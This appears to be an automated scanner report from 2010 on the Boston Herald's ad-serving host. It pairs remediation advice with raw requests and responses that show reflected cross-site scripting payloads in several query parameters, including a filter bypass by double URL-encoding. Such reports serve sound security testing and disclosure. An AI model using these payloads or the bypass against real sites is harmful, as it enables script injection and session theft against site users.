Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the companion request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b280b</script><script>alert(1)</script>0a0811b5fc5 was submitted in the companion parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/processAds.bg?position=Top&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottomb280b</script><script>alert(1)</script>0a0811b5fc5&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: bh.heraldinteractive.com Proxy-Connection: keep-alive Referer: http://bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:42 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 2148 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the companion request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83832"><script>alert(1)</script>e8c70c86aa9 was submitted in the companion parameter. This input was echoed as 83832\"><script>alert(1)</script>e8c70c86aa9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/processAds.bg?position=Top&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom83832"><script>alert(1)</script>e8c70c86aa9&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: bh.heraldinteractive.com Proxy-Connection: keep-alive Referer: http://bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:41 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 2112 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the page request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload daad2%2527%253balert%25281%2529%252f%252f27e0370bd05 was submitted in the page parameter. This input was echoed as daad2';alert(1)//27e0370bd05 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the page request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /includes/processAds.bg?position=Top&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhomedaad2%2527%253balert%25281%2529%252f%252f27e0370bd05 HTTP/1.1 Host: bh.heraldinteractive.com Proxy-Connection: keep-alive Referer: http://bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:46 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 2016 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the page request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a91b"><script>alert(1)</script>7337581bab2 was submitted in the page parameter. This input was echoed as 2a91b\"><script>alert(1)</script>7337581bab2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/processAds.bg?position=Top&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhome2a91b"><script>alert(1)</script>7337581bab2 HTTP/1.1 Host: bh.heraldinteractive.com Proxy-Connection: keep-alive Referer: http://bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:46 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 2112 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the position request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23595"><script>alert(1)</script>96ebd58dbc7 was submitted in the position parameter. This input was echoed as 23595\"><script>alert(1)</script>96ebd58dbc7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /includes/processAds.bg?position=Top23595"><script>alert(1)</script>96ebd58dbc7&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: bh.heraldinteractive.com Proxy-Connection: keep-alive Referer: http://bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:36 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 2107 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>
The value of the position request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61688</script><script>alert(1)</script>faf540eed06 was submitted in the position parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /includes/processAds.bg?position=Top61688</script><script>alert(1)</script>faf540eed06&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: bh.heraldinteractive.com Proxy-Connection: keep-alive Referer: http://bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:37 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 2143 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Issue background
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
Request
GET /crossdomain.xml HTTP/1.0 Host: bh.heraldinteractive.com
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:34 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 Last-Modified: Wed, 23 Jan 2008 23:45:32 GMT Accept-Ranges: bytes Content-Length: 277 Connection: close Content-Type: application/xml
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /includes/processAds.bg HTTP/1.1 Host: bh.heraldinteractive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 07:08:51 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 1381 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: bh.heraldinteractive.com
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 03:49:34 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 Last-Modified: Wed, 20 Oct 2010 20:58:03 GMT Accept-Ranges: bytes Content-Length: 570 Connection: close Content-Type: text/plain
Robots.txt # Modified 06/16/2006 by Bill Gaffney # Herald Interactive Media
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET /includes/processAds.bg?position=Top&companion=Top,x14,x15,x16,Middle,Middle1,Middle2,Bottom&page=bh.heraldinteractive.com%2Fhome HTTP/1.1 Host: bh.heraldinteractive.com Proxy-Connection: keep-alive Referer: http://bostonherald.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 08 Nov 2010 00:22:57 GMT Server: Apache/2.2.4 (Unix) PHP/5.2.0-8+etch11 X-Powered-By: PHP/5.2.0-8+etch11 Content-Length: 1848 Connection: close Content-Type: text/html
<style type="text/css"> /* div { top: 0px; } */ </style>